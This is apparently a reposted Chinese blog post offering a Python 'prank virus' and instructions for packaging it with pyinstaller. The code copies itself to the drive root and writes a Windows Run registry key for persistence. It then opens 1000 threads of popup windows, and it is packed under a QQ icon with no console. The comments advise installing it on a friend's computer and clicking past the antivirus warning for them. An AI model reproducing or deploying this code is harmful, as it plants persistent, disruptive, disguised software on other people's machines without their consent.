Python 无限弹窗, 打包为 exe 程序开机自启动, 娱乐小程序.
- import tkinter as tk
- import random,threading,win32api,win32con, shutil,os,sys
- def Mymovefile(): #移动程序到当前分区下命名为 ARE_YOU_OKAY.exe. 朋友问删了为什么还会执行. 当然是因为有备份, 玩够了就在分区下面删除这个吧.
- if not os.path.exists(os.path.abspath(sys.argv[0])[0] + ':\\ARE_YOU_OKAY.exe'): #看当前分区下有没有
- shutil.copyfile(os.path.abspath(sys.argv[0]), os.path.abspath(sys.argv[0])[0] + ':\\ARE_YOU_OKAY.exe') # 移动文件
- class AutoRun(): #设置为开机自启程序 ######《《《《第一次 360 会提示篡改程序, 在朋友的电脑上帮他确定一下. 以后开机都会执行》》》》
- def __init__(self):
- name = 'lalalulala' # 要添加的项值名称
- path = os.path.abspath(sys.argv[0])[0] + ':\\ARE_YOU_OKAY.exe' # 要添加的 exe 路径
- KeyName = 'Software\\Microsoft\\Windows\\CurrentVersion\\Run'
- key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, KeyName, 0, win32con.KEY_ALL_ACCESS)
- win32api.RegSetValueEx(key, name, 0, win32con.REG_SZ, path)
- win32api.RegCloseKey(key)
- def Play(): #展示的效果
- Windows = tk.Tk()
- width = Windows.winfo_screenwidth()
- height = Windows.winfo_screenheight()
- a = random.randrange(20, width)
- b = random.randrange(20, height)
- Windows.title('给你看个小病毒')
- Windows.geometry("400x100" + "+" + str(a) + "+" + str(b))
- tk.Label(Windows,
- text='你吃饭了吗?', # 标签的文字
- bg='Red', # 背景颜色
- font=('楷体', 17), # 字体和字体大小
- width=466, height=4 # 标签长宽
- ).pack() # 固定窗口位置
- Windows.mainloop()
- threads = []
- if __name__=="__main__":
- Mymovefile()
- AutoRun()
- for i in range(1000): #依电脑性能调值大; 千万不要 while True:
- t = threading.Thread(target=Play)
- t.start()
程序打包
1,Python 脚本打包成可以直接双击运行的 .exe 文件
win+R 输入 powershell,
- pip3 install pyinstaller
- pip install pypiwin32
- pyinstaller -F -i qq.ico -w curl.py #-F 指定 exe 程序,-i icon 图标,-w, 无控制台
本人编辑好的 exe 程序
可用图标转换器更换一下图标
来源: http://www.bubuko.com/infodetail-3496873.html